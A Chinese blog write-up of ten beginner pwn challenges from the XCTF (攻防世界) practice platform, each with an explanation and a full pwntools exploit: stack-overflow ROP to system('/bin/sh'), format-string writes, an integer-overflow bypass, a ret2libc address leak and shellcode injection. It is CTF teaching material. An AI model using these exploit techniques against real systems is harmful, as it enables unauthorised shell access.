【pwn】攻防世界 pwn新手区wp

前言

这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了。

1、get_shell

送分题,连接上去就是/bin/sh

不过不知道为啥我的nc连接不上。。。

还是用pwntool的remote连接的

from pwn import *

io = remote("111.200.241.244", 64209)
io.interactive()

2、hello pwn

可以看到read写入的是0x601068地址的数据,而下面的if语句判断的是0x60106C地址的数据是否为1853186401

由于这两个位置在内存中就是+4字节的关系,所以我们可以在read的过程中实现覆盖

from pwn import *

io = remote("111.200.241.244", 49847)

payload = b"bi0x" + p64(1853186401)

io.sendline(payload)
io.interactive()

3、level0

main函数中会跳转到一个vulnerable_function

一看就是明显的栈溢出,然后rsp距离rbp的距离为0x80,所以直接覆盖就行了,在覆盖掉8字节的ret addr

此外值得一提的是,64位程序中,函数的前6个参数分别由rdi、rsi、rdx、rcx、r8、r9存放的,之后的参数存放在栈中。

所以这里我们将/bin/sh存入edi中,这样system函数的第一个参数就是/bin/sh了

from pwn import *

io = remote("111.200.241.244",54678)
elf = ELF("./xctf3") binsh_addr = next(elf.search(b"/bin/sh"))
system_addr = elf.symbols["system"]
pop_edi_addr = 0x0000000000400663 payload = b"a"*0x80 + b"bi0xbi0x" + p64(pop_edi_addr) + p64(binsh_addr) + p64(system_addr) io.sendafter("Hello, World\n",payload)
io.interactive()

4、level2

终于来了个32位的-。-

拖入32位ida中分析,main函数中有一个vulnerable_function函数,步入分析

明显的栈溢出

我们在shift+f12中看到了/bin/sh的地址

所以直接给出exp

from pwn import *

io = remote("111.200.241.244", 63107)
elf = ELF("./xctf4") system_plt = elf.plt["system"]
binsh_addr = next(elf.search(b"/bin/sh")) payload = b"a"*0x88 + b"bi0x" + p32(system_plt) + b"bi0x" + p32(binsh_addr) io.send(payload)
io.interactive()

5、string

canary开启,所以栈溢出是没戏

看题目string(字符串),那么可能是格式化字符串了

拖入64位ida中分析

首先分析main函数,告诉我们有两个关键的指针地址,分别是v4[0]额v4[1]的地址,然后进入sub_400D72这个函数,传入的参数是v4[0]]这个指针

分析sub_400D72这个函数

首先叫我们输入一个用户名,然后判断这个用户名是否大于12,如果大于12长度那么结束

所以我们输入一个小于12长度的username

然后就是三个函数等着我们,sub_400A7D、sub_400BB9、sub_400CA6,我们一个个分析

首先来看sub_400A7D

输出可以看,首先叫我们选择方向east or up?

看到下面的strcmp判断,只能选择east跳出循环

然后来到下面的if,因为是east,所以直接结束执行了(不懂这个判断有啥必要。。?s1改为up大可不必)

然后是sub_400BB9

puts的也不用看,叫我们选择1or0,选1才能继续

告诉我们输入一个16字节的大小的地址

然后再输入一个wish,然后printf这个wish

很明显的格式化字符串

所以到这里就知道需要测试偏移量了

随后一个sub_400CA6(a1)

传入了a1这个参数,a1是啥,我们首先回到sub_400D72

sub_400D72传入了v4这个指针的地址,而sub_400D72这个函数的参数是a1

所以我们可以得到下图这个关键的if语句中的a1就是v4的地址,如果相等那么就mmap分配一个内存大小为0x1000的区域v1,然后我们可以向v1中写入0x100大小的数据

这里就可以想到写入一段amd64的shellcode来获取shell

需要我们将a1[0]和a1[1]相等,也就是v4[0] = v4[1]

我们如何将v4[0]赋值位85呢,利用格式化字符串!

在刚刚出现的printf中,我们先测量偏移量

我们输入的address是1,而这个0x1再printf中出现的是第8个,也就是printf的第8个参数,也就是第7个格式化字符串的参数,所以偏移量是7

所以格式化字符串只需要"a"*85+"%7$n",前面写85字节的字符串,然后传给第7个参数,这个第7个参数就是我们的v4[0]指针地址(在前面的程序开始puts的)

所以构建exp

from pwn import *

io = remote("111.200.241.244",55215)

io.recvuntil("secret[0] is ")
v4_addr = int(io.recvuntil("\n",drop=True),16)
io.sendlineafter("name be:", b"woodwhale")
io.sendlineafter("east or up?:", b"east")
io.sendlineafter("leave(0)?:", b"1")
io.sendlineafter("address'", str(v4_addr))
io.sendlineafter("And, you wish is:", b"a"*85+b"%7$n")
io.sendafter("USE YOU SPELL", asm(shellcraft.amd64.sh(),arch="amd64"))
io.interactive()

6、guess_num

保护基本都开了,看这个题目就知道是猜数字

拖入ida中分析

先看main函数

首先输入username

然后给了一个以seed[0]为种子的随机数

然后for循环猜测10次数字

全对给flag

我们需要做的就是劫持seed[0],把它改为我们想要的数字,然后有了种子,模拟和它一样的随机数

这里我们看看v7地址

再看看seed[0]的地址

相差20

我们知道函数参数是逆序压入栈中,所以第一个参数的地址最低,这样我们就可以通过gets函数覆盖掉seed[0]的值,偏移量为0x20

exp如下

这里的from ctypes import *是导入c语言库函数的一个库

这样我们就可以使用srand函数了

from pwn import *
from ctypes import * io = remote("111.200.241.244",63989)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") libc.srand(2)
payload = b"b"*0x20 + p64(2)
io.sendlineafter("name:",payload) for i in range(10):
io.sendlineafter("number:",str(libc.rand()%6+1)) io.interactive()

7、int_overflow

又是为数不多的x86

拖入32位ida中分析

查看所有字符串,发现cat flag

看main函数

叫我们选择1or2,选1进入login,选2退出。所以选1。

步入login()函数中分析

首先读取0x19长度的username,这么点长度栈溢出肯定没用

然后读取0x199的passwd,这里栈溢出有戏,但是看了看buf和ebp的距离,0x228,我们只能读入0x199长度,所以还是覆盖不了

把希望寄托于下面的check_passwd函数,传入参数为我们刚刚写入的buf

首先v3是一个无符号的8位数,也是我们刚刚输入的buf的长度,如果v3<= 3u(这里的u指的是unsigned,也就是无符号数,也就是011),或者v3 > 8u(也就是11111111,10进制中的255),那么这样我们输入的buf就判断为无效

如何让这个判断成为true呢?与题目中的int_overflow息息相关!

因为strlen()的返回值是一个int,4字节长度,也就是8位,如果我们的buf长度大于255会发生什么呢?

例如我们的buf的长度为263,二进制就是1 0000 0111,会被strlen读取为0000 0111,那么这个111>011,并且111<11111111,这样就成功绕过

最后再strcpy中实现dest的栈溢出,dest距离ebp距离为0x14,所以构建exp

from pwn import *

io = remote("111.200.241.244",57657)
elf = ELF("./xctf7") io.sendlineafter("choice:",b"1")
io.sendafter("username:",b"woodwhale") cat_flag_addr = next(elf.search(b"cat flag"))
system_plt = elf.plt["system"]
payload = b"a"*0x14 + b"bi0x" + p32(system_plt) + b"bix0" + p32(cat_flag_addr)
payload += b"a"*(263-int(len(payload))) io.sendlineafter("passwd:",payload)
io.interactive()

8、cgpwn2

为数不多的x86

拖入32位ida中

先看所有字符串,没有后门

分析main函数

清除缓冲区,然后进入hello函数。没啥好看的

我们直接步入hello函数()

前面这么多数字计算,看的眼花缭乱,但是这些都没啥用,我们要的是gets函数的栈溢出,gets中输入s变量,s距离epb为0x26

这可以看到我们再fget中标准输入的东西存入了name这个变量中,我们是不是可以在name中存放一个/bin/sh或者cat flag,然后在下面gets函数中调用system(name),这样就获取了权限

直接看name的地址,在bss段的0x0804A080

那么直接构建exp

from pwn import *

io = remote("111.200.241.244",49222)
elf = ELF("./xctf8") system_plt = elf.plt["system"]
binsh_addr = 0x0804A080 io.sendlineafter("name","cat flag")
payload = b"b"*0x26 + b"bi0x" + p32(system_plt) + b"bi0x" + p32(binsh_addr)
io.sendlineafter("here:",payload)
io.interactive()

9、level3

还是x86,拖入ida

题目还给了个libc,一看就是ret2libc3

先看字符串,肯定是没有system的plt地址和后门的

main函数中有用的就是这个vulneravle_function函数

有个gets的栈溢出

这里需要了解动态连接的知识点

第一次调用一个函数,比如write(),write.plt会去找write.got索要write的真实地址,但是write.got不知道,所以让write.plt自己去找,然后write.plt自己找到了,将这个地址放在了write.got表中

第二次调用,write.plt会直接去找write.got,这个时候因为got表中存放了write的真实地址,所以直接给了write.plt,所以直接指向了write的真实地址

这是前置知识,不明白的去ctf-wiki的ret2libc3中恶补一下

这题我们需要的就是通过write可以写数据到控制台中,将write的got表地址中存储的write的真实地址输出,然后通过题目给的libc文件,得到libc的基地址,然后根据基地址去寻找system函数和/bin/sh的真实地址

我们第一次调用的时候,先执行write函数,将write的got表中存储的真实地址打印出来,然后执行_start函数,让程序再次运行

第二次程序运行,我们得到了system和bin/sh的地址,直接调用就okk了

from pwn import *

io = remote("111.200.241.244",57553)
libc = ELF("./libc_32.so.6")
elf = ELF("./xctf9") write_got = elf.got["write"]
write_plt = elf.plt["write"]
start_addr = elf.symbols["_start"] payload = b"b"*0x88 + b"bi0x" + p32(write_plt) + p32(start_addr) + p32(1) + p32(write_got) + p32(4)
io.sendafter(b"Input:\n",payload) write_true_addr = u32(io.recv(4)) libc_base = write_true_addr - libc.symbols["write"]
system_true_addr = libc_base + libc.symbols["system"]
binsh_true_addr = libc_base + next(libc.search(b"/bin/sh")) payload = b"a"*0x88 + b"biox" + p32(system_true_addr) + b"bi0x" + p32(binsh_true_addr)
io.send(payload)
io.interactive()

10、CGfsb

还是32位,拖入ida中分析

看main函数

直接看到了格式化字符串

只要我们的pwnme这个变量值为8,那么我们就可以cat flag

首先测试偏移量

测得偏移量为10

那么直接写exp

from pwn import *

io = remote("111.200.241.244",53590)

pwnme_addr = 0x0804A068

payload = p32(pwnme_addr) + b"bi0x%10$n"

io.sendlineafter("name:",b"woodwhale")
io.sendlineafter("please:",payload)
io.interactive()

这里的pwnme需要的值是8,而我们输入的地址是4字节的,所以前面还需要4个char字符,这样4 + 4 = 8,我们的pwnme就可以赋值为8

【pwn】攻防世界 pwn新手区wp的更多相关文章

  1. 攻防世界web新手区

    攻防世界web新手区 第一题view_source 第二题get_post 第三题robots 第四题Backup 第五题cookie 第六题disabled_button 第七题simple_js ...

  2. 攻防世界web新手区做题记录

    学校信安协会第一次培训结束后的作业,要求把攻防世界的web新手区题目做一遍并写题解. 第一题 view_source 查看源代码右键不能用,但是F12能用,于是找到源代码 输入到flag框即可 后来在 ...

  3. CTF -攻防世界-crypto新手区(5~11)

    easy_RSA 首先如果你没有密码学基础是得去恶补一下的 然后步骤是先算出欧拉函数 之后提交注意是cyberpeace{********}这样的 ,博主以为是flag{}耽误了很长时间  明明没算错 ...

  4. 2019攻防世界web新手区

    robots 看了题目描述,发现与robots协议有关,过完去百度robots协议.发现了robots.txt,然后去构造url访问这个文件 http://111.198.29.45:42287/ro ...

  5. 攻防世界web新手区(3)

    xff_referer:http://111.198.29.45:43071 打开网址,显示出这个页面: X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP, ...

  6. CTF -攻防世界-crypto新手区(1~4)

    题目已经提示用base64直接解密就行 base64解密网址 http://tool.oschina.net/encrypt?type=3 题目提示是凯撒密码 http://www.zjslove.c ...

  7. CTF -攻防世界-web新手区

    直接f12出来 先用get后加/?a=1 然后火狐装hackbar(老版本)f12 post b=2 搞定 Hackbar:https://github.com/Mr-xn/hackbar2.1.3 ...

  8. CTF -攻防世界-misc新手区

    此题flag题目已经告诉格式,答案很简单. 将附件下载后,将光盘挂到虚拟机启动 使用 strings linux|grep flag会找到一个O7avZhikgKgbF/flag.txt然后root下 ...

  9. 攻防世界misc新手区前三题

    1.this_is_flag 从题目以及题目的描述来看,不难发现实际上题目中所描述的就是flag 2.Pdf 拿到题目附件是pdf文件,观察题目描述,题目说图下面什么都没有,那么十有八九图下面肯定是f ...

随机推荐

  1. java nio 写一个完整的http服务器 支持文件上传 chunk传输 gzip 压缩 使用过程 和servlet差不多

    java nio 写一个完整的http服务器  支持文件上传   chunk传输    gzip 压缩      也仿照着 netty处理了NIO的空轮询BUG        本项目并不复杂 代码不多 ...

  2. TensorFlow.NET机器学习入门【0】前言与目录

    曾经学习过一段时间ML.NET的知识,ML.NET是微软提供的一套机器学习框架,相对于其他的一些机器学习框架,ML.NET侧重于消费现有的网络模型,不太好自定义自己的网络模型,底层实现也做了高度封装. ...

  3. Nginxre quest_time 和upstream_response_time

    nginx优化之request_time 和upstream_response_time差别 https://www.cnblogs.com/dongruiha/p/7007801.html http ...

  4. 在react项目中使用require引入图片不生效

    如果使用create-react-app和require导入图像,require返回一个ES模块而不是字符串.这是因为在file-loader中,esModule选项是默认启用的. 用以下方式之一导入 ...

  5. Linux(centos)系统导出数据库文件命令

    mysqldump -uroot -p test > /test.sql -uroot 其中的root是数据库的用户名 test是要导出的数据库名字 test.sql 是要导出的数据库文件名字, ...

  6. JAVA整合Redis使用redisTemplate清除库中的所有键值对数据

    JAVA整合Redis使用redisTemplate清除库中的所有键值对数据,清除所有缓存数据 Set<String> keys = redisTemplate.keys("*& ...

  7. 🍃【Spring专题】「原理系列」SpringMVC的运行工作原理(补充修订)

    承接相关之前的SpringMVC的框架技术的流程分析 初始化流程(initStrategies) 执行流程 寻找相关HandlerMapping 请求到DispatcherServlet类进行执行相关 ...

  8. 【LeetCode】459. Repeated Substring Pattern 解题报告(Java & Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 遍历子串 日期 [LeetCode] 题目地址:ht ...

  9. 【LeetCode】173. Binary Search Tree Iterator 解题报告(Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 保存全部节点 只保留左节点 日期 题目地址:http ...

  10. Harry Potter and the Hide Story(hdu3988)

    Harry Potter and the Hide Story Time Limit: 10000/5000 MS (Java/Others)    Memory Limit: 65536/65536 ...